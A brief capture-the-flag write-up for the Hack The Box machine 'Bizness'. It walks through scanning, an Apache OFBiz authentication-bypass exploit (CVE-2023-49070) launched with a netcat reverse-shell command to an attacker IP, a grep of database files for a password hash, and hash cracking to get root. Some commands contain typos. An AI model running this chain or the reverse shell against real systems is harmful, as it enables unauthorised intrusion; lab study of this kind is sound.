HTB - Bizness

Box Info

Name	Bizness
Release Date	06 Jan, 2024
OS	Linux
Rated Difficulty	Easy

Enumeration

nmap -p- --min-rate 5000 -n -sS -vvv -Pn 10.10.11.252 -oG allports
nmap -sCV -p 22,80,443,40117 10.10.11.252 -oN targeted

Add the domain to /etc/hosts

echo "10.10.11.252 bizness.htb | sudo tee -a /etc/hosts/

Brute Force Directory

dirsearch -u http://bizness.htb/

OFBiz

The website is using a technology called OFBiz with version 18.12, the current version is out date.

Apache OFBiz 18.12 CVE-2023-49070

Apache-OFBiz-Authentication-Bypass

We used the exploit to authenticate ourselves.

python3 exploit.py --url  https://bizness.htb:443 --cmd 'nc -e /bin/bash 10.10.14.16 7777'

nc -lvnp 7777

Enumeration linux

Before launching this search, I found a location where the OFBiz folder was located and performed searches that contain admin. I searched recursively using grep, using options like -Rail, and to specify the word I used -e.

grep -Rail -e 'admin$' /top/ofbiz/runtime/data/derby/ofbiz/seg0

We came across a lot of data, so we have to go through each one by one.

We find a user and the hash

Cracking Hash

We will use the Go hash matcher script to crack the password.

Go-Hash-Matcher

Once we have the password, we log in at the root